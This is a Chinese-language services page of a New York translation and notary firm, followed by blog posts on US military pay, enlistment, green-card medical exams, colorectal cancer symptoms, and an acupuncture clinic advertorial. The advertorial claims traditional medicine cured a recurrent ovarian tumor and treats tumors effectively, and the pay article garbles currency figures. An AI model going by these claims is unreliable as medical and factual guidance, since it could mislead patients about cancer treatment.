美国本地电话: +1 917 970 0588(翻译公证、学位评估)

+1 917 970 0698 (领事认证、旅行证、多国签证等业务)

+1 718 521 6708 (领事认证、旅行证、多国签证等业务)

微信:翻译公证:jennifertjchang

三级认证: AET_NYC(“AET-NYC”是假微信号,不是美域公司微信号,请大家谨防上当受骗!) 或AET_BOSTON

留学咨询:liutong9271

电子邮箱: nyc@americantranslationservice.com

地址:100 Church Street, Suite 800, New York, NY 10007

工作时间:周一 – 周五,上午9:00 – 下午5:30.(美国当地时间)

 

波士顿办公室
电话: 781-605-1970
电邮:boston@aet21.com
微信:翻译公证:jennifertjchang 三级认证: liping7991 留学咨询:liutong9271                                地址:6 Pleasant St, Suite 418, Malden, MA 02148 近地铁,泊车方便。
工作时间:周一至周五,上午9:00 – 下午5:30.(美国当地时间)
周六,上午9:30至中午12:30

 

证明:

房地产,户籍,学历,名字,出生证,死亡证,文凭,成绩单,健在证明,单身证明,结婚证明离婚证明身份证明

公证:

房地产委托书,授权书,财产过户,结婚离婚证书,商业合约,法律文件公证,声明书,放弃遗产声明书,中国领事馆文件公证服务

认证:

代办县,州政府及中国领事馆认证签证服务

社会服务项目:

身份转换,绿卡,工卡,公民入籍,表格文书翻译

家庭服务项目:

所有权过户,遗嘱,生前信托,低收入家庭医疗福利

留学出国服务项目:

I20,回美证,学校申请,私立高中,监护人,寄宿家庭,身份转换,居留延期,外国人土地委托买卖

公司商业服务项目:

企业在美注册,商标注册,银行开户,成立公司,商业贷款,代管美国办事处

2021-05-16 / by / in , ,
美国军人工资福利待遇明细 申请住房贷款流程

文|雨荷

美国是世界第一军事大国,美国军人(美国大兵)的薪级总共分191级,社会保障制度非常完善,福利待遇是世界最好的,美国军人薪水高的惊人。下面就为您分享一下美国军人的福利待遇

美国军人福利待遇:

1. 军人及家属可享受医疗保险和牙保险。

2.退役军人可以免费上大学;退役军人有退伍军人法案,上学补助3年学费和生活费;军龄10年以上的,不用该福利可以转到子女名下。

3.军人买房贷款可零首付,享受低息贷款。

4.军人退伍后考取政府工作有加分,比如考警察服役满后退伍会加5分。

5.退役军人拥有的企业在政府贷款政府项目招标有优先权。

6.全职军人除法定节假日外, 每年有30天的带薪假期。

华盛顿, 钻团队, U 的军队, 精度, 性能, 目睹

全职军人 示意图。

7.军队提供专业的技能培训, 入伍前无需工作经验,有150余种工作任选。

8.军人可享受移民政策快速成为公民,配偶和子女申请绿卡的排期提前。

9.军人住房补贴根据当地的房价以及消费水准计算。

10.军龄满20年可退休, 可再找工作二次退休, 领取双份退休金。

美国大兵可以用VA loan在银行申请贷款买房

美国大兵贷款流程:

1.军人证明,过去两年的报税单。

2.过去两个月的工资表,当前存款资金证明。

3.准备好材料就可以跟银行申请pre approved预先核准。

美国军人贷款买房详解:

美国军人贷款买房只能买现房,不能买期房;不能购买投资房,只能买自住房;购房后需要居住两年以上。

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美国军人贷款买房 示意图。

如果因为军队原因该条文则可变通,比如外派、更换基地等活动,只要向军队提供相关证明原来要求居住在购买房子两年的要求就可以免除。

美国大兵薪水详解

美军他们的薪级总共分191级,大致分为基本薪资、特殊津贴、奖励津贴,还有特殊补贴等等的,名目非常的多。只要符合其中一项,你的薪水就会增加很多 。

美军最低就是E-1,就是当兵四个月之后,领到的薪水最少是1600美金。会特殊语言,现役军人最高可以每月补助到1000美金。这是针对少数比较特别的语言;如果是一般比较大众的,补贴就不会达到那么多。如果从最低等的E-1士兵算起,就从1600美金暴涨到2600美金。

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美国大兵薪水 示意图。

美军还有很多的补贴,例如在服役期间内结婚,可以获得政府额外的BH津贴,一家每个月是多了几百美金。再来还有伙食津贴,每个月士兵差不多可以领到将近台币300美金,士官辅助稍少一点,大概是台币200美金左右。

美国军人免费住在军营内的宿舍,也有外住的,是由部队支配的军营外民宅。住房补助是按照各不同区域而定的,有些州或某些特殊的区域,住房的成本特别高,会按照那个地区的住房水准来给补贴, 平均每一个月可以得到800美金。

若跟被抚养人住在一起,每个月的标准差不多会超过1000美金;如果是在战事前线,那些人员正在参与战斗的,就会有战斗补助,每个月基本的补助至少225美金;如果在前线再给100美金;和家人分居的再给250美金补助。另外每天还有4美金的额外精神补助,大概120美金左右。

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住房补助 示意图。

如果在打仗的时候没有时间去花钱,那么这时候得到的薪水都会放到一个特殊的账户里面,这个账户会比普通银行利息高五倍。如果是参与战争的,这时候的薪水是完全免税的。而海军出海,每月最少补助150美金,最高可能补助到620美金,如果是军官可能是700美金。

还有和空军有关的飞行补助最少先给150美金,跳伞的可能给150美金到250美金;美国大兵生小孩的给几百美金;就连服装也给补助,让自己去买,补助就是500多到1000多美金,甚至军官可能最高给到四千美金。各种补贴都加起来是非常可观的。而且这是最差的二等兵,会有这些钱。

二等兵上面还有一等兵、上等兵,下士、中士、上士、士官长,若是当到E-4下士,那薪水直接2088.9美金起。合计60000台币,而且这六万再加上五花八门的津贴:如伙食费,一个月一万;然后每一年随着军龄增加,当一年当两年的钱不一样,虽然说不会无限的给加上去,可能当了五年,薪水就到顶了,但是它还是每年多少会再给调一点。如果是当了五年的下士,那薪水就是2535美金起,比一开始当的时候还差不多多了450美金左右。

如果当到了军官,那最少也会有2966.4美金.等于台币85200。仔细的介绍一下这个列表:

从E4开始是下士,E5是中士,E6是上士,E7是三等士官长,E8是二等士官长,而E9就是一等士官长,或只是哪个军的总士官长,可能是陆军总士官长或空军总士官长,或是海军总士官长。而在总士官长地位非同小可。他代表那个军种的总士兵和士兵的发言人,全军种就这么一人,所以他受到的礼遇跟待遇,相当于是高阶军官的等级,有一些的资历甚至是将军看到他都要跟他敬礼。那如果你当到这个阶级,而且干满四十年的,起薪你就有7844.7美金,合计至少220000台币,这还不包含他的什么奇奇怪怪的佳绩。

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美国大兵 示意图。

那我们再往下看,这个就比较特别了, W1、W2、一直到W5 ,这是准尉的阶级。士官长是从三等开始往上晋升,晋升到最高的是一等,然后再来进升成为总士官长。

准尉就不一样,它是从四级开始晋升,四级、三级、二级、一级、特级。W5就是特级准尉,他介于军官和士官之间,如果在军官考核合格之后,他还可以晋升成为少尉。所以以军街的角度来看,它也是比少尉低的。接下来从O1开始就是军官的阶级了,O1是少尉;O2中尉 ;O3是上尉; O4、O5、O6少校、中校、上校。O7开始就是将军级。

光是在少尉这个阶段,每一个月就有3034.8美金了,如果当了三年,那就可领到在这个位阶的最大极限薪水,达到3818.7美元。此后不管当几年,他薪水都停在3818.7美元。在O 2中尉,在第六年你会达到你的薪水极限,4839美元。那如果你的肩膀上长出了一颗梅花,则薪水至少从 4602.6美元算起,而且你的军龄达到十八年的时候,你就会领到最高7684.8元,必须再说一下,这个军龄是累积起来的,就是包含你从刚进军中的二等兵开始算起,一路当到中校、少校的时间点。那如果当你当到将军,肩膀上蹦出了这颗无敌星星之后,薪水8438.1美元起。军龄在第18年同样达到您能够领的极限,12296.7美元,等于现在新台币373719。

O8是中将,O9是上将, O10就是五星上将,有可能是四星上将了,总之绝对是上将级别。但是如果是在北约代码里面会分得比较仔细。在北约代码当中,四星上将就是OF-9, OF-10才是五星上将。但在美国的历史上只有九人拿到过五星上将的军阶,所以基本上这个蔚阶其实看得到吃不到。一般最大极限能够领到的就是四星上将的O9薪资,但是也基本上跟五星上将几乎等同了。干满第三十年开始就是等同的。

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退役军人 示意图。

那我们就看一下在这个表单当中最高可以领到多少?那最高在这一份能够看到的表单当中,军阶最高军龄也最长的情况下,那你也可以领到15583.2美金,新台币450000。

O-10的阶级,是属于总参谋长或国防部长的薪水。而且必须强调在这个表单当中我们看到数字都是不含各种津贴之类的,都是本薪。

其实也不用太意外,美国一年的军费就是七千亿美金左右,

二零二零年,他们的国防支出七千三百八十亿美金。也难怪他们可以对他们的军人那么好。

2021-05-15 / by / in , , ,
大肠癌有哪些症状?如何早期发现?纽约消化科专家荆彤医生为您讲解

大肠癌在早期不是特别容易发现,因此每个人都要提高自己的警惕性。建议大家到了50岁就去做肠镜,不管有无肠胃不适的症状。做肠镜时发现了息肉要及时切掉,能有效预防大肠癌的发生。另外,如果排便的习惯出现了改变,比如,以前的大便很有规律,也很正常,现在变成不是便秘,就是拉肚子,或者大便的形状变细,甚至像铅笔那么细。发生了这样的改变要尽快找消化科医生做检查。

另外,便里带血也要引起注意。有的患者在被询问到是否便里带血,患者会说:便里是有血,不过不要担心,是痔疮。很多人习惯将便血归因为痔疮引起的。事实上很可能不是痔疮引起的便血,尤其是中年以后,发现便里有血一定要注意了。

再有,无原因的腹部胀痛也要小心。有时摸到肚子里有肿块,而且在不断变大,要小心。或者在验血时发现贫血,食欲下降,体重降低,这都有可能是大肠癌的早期症状。

2021-05-12 / by / in
美国参军详解 征兵考试ASVAB解答 美国参军体检|如何选择兵种

文|雨荷

美军作为世界上最强大的军队,其规模和装备均位于世界第一。在大量的好莱坞影片中,美国军人几乎成为百战百胜的代名词。在2017年美国的数据统计,华人在美国军队中当兵是6000人左右。而且,近几年这个数值还有增长。那么想成为美国军人,美国参军体检和征兵考试ASVAB就很重要。

参军的基本条件:

1.持有绿卡或是美国公民。

2.需达到高中以上学历 。

3.身体健康,不能有影响到体能和训练的疾病。

4.不能有重大刑事犯罪记录,已婚人士也可以参军。

5.禁止有外露的纹身,要求:军服覆盖之外的部位不能纹身,内容不能有种族歧视、色情、暴力。

对于想要参军的,先去附近的一个征兵办公室,你可以到https://www.goarmy.com/查询,来确定征兵办公室的存在。

美国参军 示意图。

下一个流程就是你要把征兵官需要的所有文件都带上,你的绿卡、社会安全卡,还有学历证明,还有护照或者在中国的出生证明、出生公证。

如果是在中国毕业的,通常是需要翻译,可以找征兵站的华人征兵官,一般他们是经过军队认证的。单身人员参军提交上述材料就可以。

已婚人员参军还需要提交结婚证、配偶的出身证明、配偶的社会安全号ID、配偶的驾驶执照号码以及孩子的出生证明。 是美国公民的话需要提交公民纸(公民证),在美国出身的话需要出身证明。 征兵官是希望参军人员尽可能带齐所需文件,把资料填写全面。 没有出生证明的情况下,海外出生的美国公民只需要公民纸,但需要2-3天的时间审批。

征兵考试ASVAB 示意图。

通过征兵考试ASVAB军队职业倾向测验,考试内容相当于美国高中毕业数学和英语的程度。如果在美国高中毕业通常都可以一次性通过。 征兵办公室会有一个模拟考试,征兵官会推算出大概成绩。如果分数不理想,征兵官会推荐一家复习网站。

当考试过了以后就要申请预约体检,体检的时候在申请过程当中,应该要先让征兵官知道你所有过去的病历,住院、做手术这些病例,提供相关的证明以后,就可以申请这个体检。体检内容包括:眼睛、耳朵、验尿、血液。

无论是男性还是女性申请参军的要求都是一样的。 女性可以参加军队的所有工作。 毕业要求上女性和男性的不同在于俯卧撑,女性要求17-21岁女性,2分钟需要达到17个俯卧撑;跑步18分钟54秒内完成2英里距离。

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参军体检 示意图。

专家介绍怎么选择兵种?美国军种待遇差别:

美军分为六大军种,即陆军、海军、空军,太空军,海军陆战队,以及海岸警卫队,由总统统帅全军。

美国空军待遇相对好些,在饮食等方面,因为有很多飞行员。但是每个军种有什么差别,各军种收入都是一样的。

根据你的兴趣爱好,有些人对这个航空航天他比较感兴趣,可以选择去空军;对航海比较感兴趣,想周游世界,他可以去选择海军;陆军的兵种会多一些,陆军步兵是跟打仗相关。但也有与打仗没有关系的兵种,比如炊事员兵、出纳兵,这些兵也需要军训,但没有步兵训练强度大。所以要选择说哪一种兵种,选择哪一种职位,这个是需要考试来决定的。

军队福利 示意图。

去当兵就有点像是去买车一样,什么意思呢?每一个军种都有他的招聘站,可以去和这个招聘站的招聘员谈,要当几年的兵,当什么兵种?在考试成绩达到的。达到这个基础上,还可以谈想要当几年。

如果打仗,军队福利会更好一点。你可以谈的优先条件会多一些,因为打仗的时候当兵人可能比较相对少一点,因为它有一定的危险。比如说你还可以要求当兵的奖金,还可以要求当兵的奖学金、上学的钱,这些都是可以讨论。

根据职位考试:

每个军种都有自己的招兵站,在考试成绩合格的情况下,服役年限、服役兵种都可以选择。
战争时期,可以在奖金以及奖学金方面向军队争取。

打仗的兵种就是步兵,但是还有很多人去陆军,有的职业和打仗没有关系,比如炊事员、出纳兵。这些兵也需要军训,军训的强度没有步兵的军训强度强。你要选择哪一种兵种,选择哪一种职位,可以根据你的兴趣爱好,但是有一点你选是哪一种职位,这个是需要考试来决定的。

步兵 示意图。

去当兵就有点像是去买车一样,什么意思呢?每一个军种都有他的招聘站,可以去和这个招聘站的招聘员谈,要当几年的兵,当什么兵种?在考试成绩达到的。达到这个基础上,还可以谈想要当几年。

如果打仗,军队福利会更好一点。你可以谈的优先条件会多一些,因为打仗的时候当兵人可能相对比较少一点,因为它有一定的危险。你还可以要求当兵的奖金,要求当兵的奖学金、上学的钱,这些都是可以去和他谈。

转军种:

如果参加陆军4年,合约结束后才可以换到其他兵种。军中之间的更换,在执行完之前的兵役合同之后才可以转换兵种,中途不可以换。

美国陆军参军咨询 347-733-6639

2021-05-12 / by / in , , ,
美国纽约移民体检 绿卡体检 | 体检医生 流程 体检项目 表格 费用 一文看懂

申请成为美国永久居民(申请绿卡)的过程中,移民体检(绿卡体检)是非常关键的一步。无论在美国或美国境外申请身份调整,都必须要通过移民体检。很多人会因此而担心和紧张,其实这是完成移民过程的一个步骤,特别在纽约这样的大城市,各类资源充分。当你了解了体检的内容和流程,就无需担心了。

纽约移民体检诊所(718) 285-9688 /家庭医生诊所/移民体检医生

什么是移民体检 绿卡体检

无论因为亲属、工作、投资或其它原因,当您需要申请美国永久居民—绿卡时,移民体检是必不可少的一步。

移民体检由政府指定的医生(Civil Surgeons)进行,检查内容会包括:

  • 身心评估Physical and mental evaluation;
  • 病史和免疫记录 Medical history and immunization records review;
  • 各类疾病检测 Tests for various diseases and illnesses。

下面,我们会详细解释这些项目,包括如何查找移民体检医生。

在美国境内的移民体检,与在美国境外领事处申请移民体检流程是不同的。

美国境内移民体检 绿卡体检

在美国境内申请身份状态调整(Adjustment of Status),您必须向移民局提交调整身份申请表(I-485) 。这时,按照绿卡排期估算,申请人需要找移民局指定的医生做体检。体检结果和疫苗接种记录会由医生记录在体检和疫苗报告(Report of Medical Examination and Vaccination Record), 表格I-693中。

因此,首先要预约美国公民及移民服务局(USCIS)指定的医生(Civil Surgeons)。医生会按照疾病控制与预防中心(CDC)规定的技术说明进行体检。体检完成后,医生会把表格用信封封好,由申请人转交移民局USCIS。申请人会拿到一份副本。如果移民局收到的信封没有封好,或被打开了,或有修改的痕迹,将被视为无效证明。

体检表要在表格填好后的60天之内递交给移民局,有效期是两年。接着,就由移民局来决定状态调整(adjustment of status)的结果。如果没有什么不审批的理由,申请就可以批准下来。

 

USCIS(图片:Gulbenk/wikimedia

这里要提醒大家的是,在提交移民申请时(如提交I-485表),I-693体检表的医生签名时间不能超过60天。比如,当你在2021年5月31日提交I-485表时,你的I-693表医生签名不能早于2021年4月1日。

寻找移民体检,绿卡体检医生

每个城市都有移民局授权的医生可以进行移民体检。打开移民局官网,假如你在纽约,输入自己街区的邮编,就可以找到附近的体检医生了。

查找移民体检医生(图片:USCIS网站)

 

要准备的材料

去体检时,要准备好以下材料:

  • 政府签发的合法身份证明Photo ID, 可以是护照和驾照;
  • 以前的疫苗接种记录;
  • 保险卡。体检一般都是自费,除非有特殊情况;
  • 如果有健康问题的,建议可以带上医生书面的治疗计划;
  • I-693表格。做移民体检的医生都有这个表,如果想提前看一下,可以从移民局网站上浏览或下载

I-693表格 (图片:USCIS网站)

体检项目和流程

现阶段的美国移民体检主要内容是:移民体质检查(包括精神状况的评估);结核菌素反应检验(肺结核等),2岁以下不需要这项检验;血清检查(检查是否带有爱滋病毒和梅毒);还有就是预防接种。

一般的流程是:

  • 查找体检医生;
  • 预约体检;
  • 当天的常规检查;
  • 补打疫苗;
  • 2-3天后,到诊所查看肺结核检查结果和血液检查结果;
  • 检查结束后,医生在检查报告上签字,然后打包、密封。(切勿自己打开

移民体检的常规检查项目包括:身高、体重、血压、尿检、验血等;

疾病检查包括检查是否患过结核病,并检查疫苗记录。

肺结核检查

肺结核检查需要做TB皮试(Tuberculosis Skin Test),皮试结果要等待48-72小时。皮试没有反应就表明是阴性(48-72小时后,皮试处没有大于5mm的红色肿块,表明是阴性)。

专业的体检医师会看情况来判断皮试结果,如果TB皮试测试阳性,体检医生会安排胸部X光透视(Chest X-Ray)检查肺部阴影。根据胸透结果,医师再来判断是否需要服药治疗。

儿童体检

年龄在15岁以下的儿童,移民体检时一般不需要做X光胸透和血液检验。

预防针要求

根据美国移民法要求,无论是从美国境外申请绿卡进入美国或在美国境内申请绿卡身份调整(adjustment of status),申请人都必须证明已经接种下列14种疫苗:

移民体检疫苗要求 (图片:CDC网站)

 

Mumps腮腺炎                                               Measles麻疹

Rubella风疹                                                   Polio流行性脊髓灰质炎

Pertussis百日咳                                            Haemophilus influenzae type B (Hib) B型流感

Hepatitis A 甲型肝炎                                    Hepatitis B 乙型肝炎

Rotavirus轮状病毒                                       Tetanus and diphtheria破伤风及白喉

Varicella水痘                                                 Meningococcal disease流行性脑脊髓膜炎

Pneumococcal disease 肺炎                       Seasonal influenza流感

了解最新要求,可以查看CDC官网

体检医生会查看您以前的预防针记录,所以体检时要带上以往打过预防针的书面证据。如果申请人没有接种疫苗,可以在体检医生诊所接种,也可以选择由私人医生给您打要求的预防针。但是要把预防针已打的证明提供给体检医生,只有体检医生有权填写I-693体检表。接种疫苗会产生费用,所以,打过疫苗的证书要妥善保管,可以节省以后的费用。

如果没有预防针记录,通过验血发现你已经有足够的免疫力,都可以证明不需要再打多余的疫苗了。比如麻疹、风疹、腮腺炎、水痘、乙肝等,通过验血都能证明抗体的存在,只要抗体有足够数量,符合要求就行了。

这里再次提醒一下,在美国境内的体检有效期是2年,请计算好绿卡的申请时间再体检,以免重复检查!

体检费用

绿卡体检的费用,各家诊所的收费都是不同的,取决于需要打的疫苗和医生的收费等等。找一家收费合理的诊所可以省下不少钱。

同样的疫苗,不同诊所收费也是不一样的。如果您的疫苗记录不全,需要补打疫苗的话,最好还是货比三家一下。

哪些疾病影响移民美国

有的人可能或多或少有一些健康问题,但都在可接受的范围,配合治疗就可以,因此不必过分担心、故意隐瞒。

即使移民申请人有身体或精神上的疾病,移民局不会因此判断你是否适合移民,因此拒绝你的移民请求。移民局会根据体检结果判断这些疾病会不会对你自己或别人造成伤害。如果有潜在伤害的话,有可能会被认为不适合移民。

如果检查结果有某些方面的问题,医生会提出合适的治疗或转诊计划,另外,移民局也会通知你是否需要申请一个豁免,移民局有具体的豁免条例。

美国移民局和CDC会把最新影响移民的健康状况提供给移民体检医生,分为A类和B类两种:

A类(Class-A)健康问题,不允许申请永久居民,包括:

  • 重大公共传染疾病;
  • 没有疫苗接种证明;
  • 可能导致伤害行为的身体或精神疾病;
  • 药物滥用、上瘾及与药物滥用有关的身体或精神疾病。

B类健康状况的定义是程度严重的身体或精神状况、疾病或者残疾。B类健康状况不会直接导致申请被拒绝,但是有可能导致申请人由于其它理由被判定不批准,例如:无法生活自理,需要长期大量的医疗护理可能被认定是公共负担。

一般情况下,大多数人都不会有以上的问题。作为移民局规定的一部分,大家了解一下也很重要。

如果您有关于移民体检方面的疑虑,可以寻求当地移民律师或移民体检医生咨询。

美国境外移民体检绿卡体检流程

如果移民申请人从美国境外申请移民,那么申请人需要由美国国务院指定的医生(panel physician designated by the U.S. Department of State)进行体检。疾病控制与预防中心有单独给境外国务院指定医生体检用的指示。

对于在美国外的申请人,请访问美国国务院网站,就能找到居住地区当地的指定医生。

中国大陆的北京,上海,广州以及福州四个城市可以进行移民体检,移民局发来的信件内就可以查找到移民体检、绿卡体检的医院。

愿各位能顺利通过体检,早日申请到绿卡。

以下提供大家更多有关移民和绿卡申请信息。

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2021-05-12 / by / in ,
美国参军流程指南 入伍的条件 当兵的待遇

文|雨荷

在美国当兵就是一份职业,有工资、有带薪年假,还有全额免费的这个医疗保险和各种福利制度。世界上任何一个国家如果真的打起仗来,服兵役都是强制性的。唯独在美国当兵不是,它是雇佣兵,要签合同。雇佣兵就像你的工作一样,当兵的人是可以按时上下班的。但中国就不是,他们会住在部队里面,生活在部队里。美国不是这样,是有选择的,就是即可以住在军营里,也可以住在军营外,还可以自己租房子住。美国的这个兵役还是很人性的。

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美国征兵的合同由过去最短的三年半变成了现在的两年。这个招聘计划只在是帮助一些朋友,觉得部队工作不错,但是又犹豫不决,怕进去之后不喜欢或怎么样,所以就推出两年的计划。

美国陆军 示意图。

美国陆军提供超过一百五十项职业选择,除了前线作战,还有大量的文职后勤工作,包括人力资源、金融、医科、工程等。军队的待遇除了基本工资以外,还提供房屋、伙食补贴以及全家免费医疗保险等。

对于新兵来说,最高是工资起薪是两千五百块钱一个月。除了薪金之外,如果是有小孩或者是结婚的士兵,在新兵训练期间和技能培训期间,纽约的申请者他每个月还有三千块钱的住房补贴,同时还有三百块钱的伙食补贴,全家的医疗保险全都免费。

美国海军募兵/纽约招兵/美国参军646-893-9824 /法拉盛征兵/美国当兵/快速入籍

现在还有一个住房贷款计划叫VA Loan,就是帮助士兵可以零首付、低利息买下他人生中第一套房子。还给士兵的家人提供医疗保险,并且是美国里面最好的,而且是免费。陆军已经给所有的士兵提供免费医疗保险。

美国军人还可以在部队里面读的大学,而且全都是免费的。美国陆军的招募要求为年龄在十七岁到三十七岁之间的绿卡和美国公民,高中毕业,无重大犯罪记录和严重伤病历史,美国陆军基本为百分之百录取制度,而参军者需要经过两个半月的体能训练,通过体能训练和。职能培训后,没入籍的还可以马上申请入籍美国公民。

美国参军者 示意图。

想要在美国当兵也并不是一件容易的事情,需要达到以下各项标准。

美国参军者身高标准要求

男性申请人的身高在152.4 cm至203.2 cm之间;对于女性申请人,范围在147.32 cm至203.2 cm之间。

应聘者不需要相关工作经验,军队会对参军者提供全面的带薪培训。

美军士兵入伍条件:

1.美国公民或具有有效绿卡的永久居民

2.年龄在17-35岁之间

3.ASVAB考试通过

4.符合医学条件

5.具备高中或以上学历, 接受国外同等文凭证书

美军士兵入伍条件 示意图。

美军对于官员入伍条件:

1.美国公民或具有绿卡的大学毕业生

2.年龄在18至32岁之间

3.符合医学条件

4.有资格获得秘密安全检查

美国海军参军咨询 646-893-9824

2021-05-10 / 1 Comment / by / in , ,
在美国看中医针灸,怎么样用医疗保险 ?(旧金山南湾中医针灸诊所好文章推荐)

在美国看中医针灸,怎么样用医疗保险 ?

(蘅芜医苑诊所 408-646-6491 旧金山南湾中医针灸诊所: 好文章推荐)

中医是有着几千年历史的传统医学,讲究“治未病”,重在对疾病的预防,通过针灸刺激穴位、调整身体的阴阳平衡而达到身体康复。我们华人应该都有过看中医的经历,那么,在美国的华人怎么样看中医?是什么样的流程?可以用医疗保险吗?

传统中医

中国传统中医可追溯到三皇五帝时期,相传伏羲发明了针灸,神农炎帝尝百草,在中国远古时代就为中国华夏文明奠定了中华医学的基础。后来的历史中又出现了像神医扁鹊,医圣张仲景,药王孙思邈等古代医学家,不断总结着中医理论,写下了很多珍贵的中医著作。

中医认为人体是自然的一部分,讲究“天人合一”。自然界的各种变化及每个人的体质特点都会是造成疾病的原因,治疗时要考虑天气、地理位置和不同的人体体质,因人制宜,“一人一方”,不能千篇一律。

人体是一个整体,中医认为人体各部分器官共处于一个整体之中,是互相联系、互相影响的。不能孤立地看待某一种病理现象,而头痛医头,脚痛医脚。

中医的经络学说认识到,经络是人体气血运行,联络脏腑、沟通上下的通道。人体遍布脉络,包括十二正经、十二经别、奇经八脉等。人体气血的正常循环,能使各个器官组织保持稳定和平衡。然而当经络系统出现阻塞不通时,人体就会出现异常。

人体脉络上遍布穴位,人体五脏六腑的十二条正经,加上身体正面中央的任脉、背面中央的督脉,这十四经络上所排列的穴道,称为正穴,全部共有三百六十五处。再加上的其它穴道,数量更多。中医通过针灸这些穴位,可以克服经络的阻塞,使气血正常运行,病症因此得以治愈。其中,针与灸是两种治疗方法,传统中医多用针法来治疗急性病,用灸法来治疗慢性病。针灸治疗的特点是疗效快、简单、便宜。

针灸针对不同的身体表现,中医的治疗方法有很多,除了针灸,还有推拿、按摩和草药等方法,还可以相互组合,疗效非常神奇。

几千年来,中医治愈了无数的病患。就是在当今,中医也解决了很多西方医学治愈不了的疾病。

有一名年轻女子因为卵巢肿瘤,动手术切除后,没想到过了2、3年,肿瘤又复发。女子很崩溃,经人介绍去看一位中医师。女子是西人。中医师就给她举了“木耳”的例子,潮湿的木头会长出木耳,湿寒的体质容易长肿瘤。仅仅把木耳摘除,不改变木头的潮湿,是不是木耳还会长出来?如果让木头变得干燥,就不会长木耳,是不是根本上解决问题了呢?女孩明白了,配合中医调理身体,排湿寒,使体内气血正常运行。经过一段时间,再去复查,病症消除了。免除了再次动手术的可怕后果和一大笔医疗费用。

因此,中医是治“本”,运用中医诊疗方法,找到“病”的更深层次的原因,通过调节人体平衡、气血通畅,从而提升人体自身免疫能力,达到身体的健康。

在美国的中医针灸

美国的大城市都有中医诊所。据美国食品药品监督管理局(FDA)估计,针灸在美国作为替代医学,每年有1500万人选择针灸治疗。中医针灸由于能够解决人们的身心疾病,越来越受欢迎。

越来越多的人发现,西医为检查病症需要大量检查,费用昂贵;对于疾病可选的药物有限,有的很快产生耐药性。并且西药作为化学合成物,又有很多已知或未知的毒副作用。

出于对自然回归的需求,以及化学药品副作用的担忧,很多美国人转向传统药物治疗。同时,单一的治疗方式也无法满足人们的需要,当某种疾病西医看不好时,人们便会转向传统药物治疗,而中医是其中最受欢迎的。

近年来,欧美国家发表了多篇针灸临床效果的论文。美国国立卫生研究院(NIH)的研究表明,针灸是单独或与常规疗法结合使用的有效疗法。

美国大多数的州都有法律监管中医,加州是美国首个州份立法监管“针灸学”,早在1976年加州便开始向针灸师发放专业执照。

怎么样用医疗保险

美国联邦政府主管的Medicare(老人卡或红蓝卡)规定,可以支付90天内12次针灸治疗慢性下背痛,对有改善的患者、可以增加8次治疗。

也就是说,如果您有Medicare医疗保险,当慢性下背疼痛时,就可以有12到20次可以报销的针灸治疗。美国联邦医疗保险Medicare涵盖占美国总人口15%的约4千4百万65岁以上老年人及残疾人。

其它的商业医疗保险,比如常见的HMO或PPO,也有很多是涵盖针灸治疗项目的。就是说,针灸治疗,保险公司是可以报销的。不同的是,HMO需要家庭医生转诊,而PPO不需要。

各种医疗保险细节方面的事项,大家在买商业保险时,都可以了解清楚。比如,什么情况下可以看中医针灸,哪些中医诊所在保险范围内,有没有次数规定,自付费用比例,等等。

在看中医针灸前,可以提前咨询专业医师,说明症状并问清楚是否适于中医针灸治疗。

加州知名中医

蘅芜医苑诊所(Sun Huaxin Chinese Medicine Acupuncture Clinic)坐落在美国加州南湾库比蒂诺(Cupertino)市。诊所提供多种中医治疗服务,共有五个诊室,包括:针灸、推拿、拔罐、艾灸、中药等。

一、针灸

针灸是传统中医治疗方法,分为“针”和“灸”两部分。针灸除了可以止痛,在治疗肿瘤、出血等其他各类疾病方面也有显著疗效。

《黄帝内经》记载,针有九种,现在人常用的是九针中的“毫针”、“长针”和“锋针”。毫针和长针的运用,是使它们在穴位上提插或扭动,刺激穴位引起神经活性,达到治病的效果。锋针,就是利用它针口的锋利性,刺破某些穴道令血液流出一些来,达到治病效果。

灸,是在穴位处燃烧艾草,用燃烧艾草的温度、和燃烧艾草而挥发出的精油刺激,令穴位神经活性被激荡,达到治病的效果。

艾灸

 

二、推拿

推拿疗法是以中医的脏腑经络学说为指导的。经络是人体气血运行的通路,如果气血循经顺利运行,那么人自然身体健康,如果气血运行受阻,人就产生疾病。推拿疗法就是中医师用自己的双手作用于病患的体表、受伤的部位、不适的所在、特定的穴位、疼痛的地方,运用推、拿、按、摩、揉、捏、点、拍等形式多样的手法和力道,使经络畅通阴阳平衡,从而使人保持一个健康状态。

三、拔罐

拔罐是以罐为工具,利用燃火、抽气等方法产生负压,使之吸附于体表,造成局部瘀血,以达到通经活络、行气活血、消肿止痛、祛风散寒等作用的疗法。

蘅芜医苑运用传统中医疗法,针对各种痛症、忧郁症、焦虑症、美尼尔氏综合症、过敏、失眠、更年期综合征、不孕症、减肥、脱发等常见适应症均有良好疗效。

蘅芜医苑在使用以上几种治疗方法的同时,还因人制宜配置中草药,配合中药服用可以见效更快,治疗效果更好。

蘅芜医苑的孙华欣针灸医师毕业于国际医药大学,加州执照中医师,全国执照中医师,博士生在读。

孙华欣针灸医师得到其恩师几十年的行医经验传授,本人在不断的学习和临床实践中,励志不辜负恩师的培养,尽己所能,未来余生将致力于发挥中医特色治疗,减轻病患的痛苦,帮助更多的人摆脱病痛及亚健康状态,回馈社会。

孙医师手捧患者献花

蘅芜医苑诊所设在美丽的南湾城市库比蒂诺Cupertino,诊所环境整洁优雅,各项设施齐全。

如果您或家人朋友正在承受病痛的折磨,欢迎来蘅芜医苑就诊。

诊所电话:408-646-6491

诊所地址:10430 S De Anza Blvd STE 230A, Cupertino, CA 95014

诊所营业时间:

周二  9:00-18:00

周四  9:00-18:00

周五  9:00-18:00

周六  14:00-18:00

周日  14:00-18:00

2021-05-09 / by / in , ,
母亲节给妈妈送什么礼物?2021年母亲节最走心的礼物单/订购水果鲜花篮成首选

文/弗光照

今年5月9日是母親節,你會在這一天為媽媽送上什麼禮物呢?2021年母親節禮物單,15件最走心的母親節禮物,美國紐約訂購水果鮮花籃成首選。另外,還有哪幾件是您滿意的?對於媽媽而言,收到禮物、賀卡當然開心,但她們更為期待的是家人的陪伴!抽點時間回家看看,別忘了帶上—水果鮮花籃哦!

1水果鮮花籃:為什麼送水果鮮花籃成首選?因為水果鮮花籃美觀、實用兼具。水果和花束搭配,包裝精美色彩艷麗,會令人眼前一亮,母親節的氣氛隆重又熱烈。成熟的水蜜桃哈密瓜散發滿室果香,滿滿品嚐水果的垂涎和期待。水果鮮花籃寓意也非常好,祝福媽媽健康之意。例如:蘋果、橘子、橙子、火絨果代表平安健康、吉祥如意。

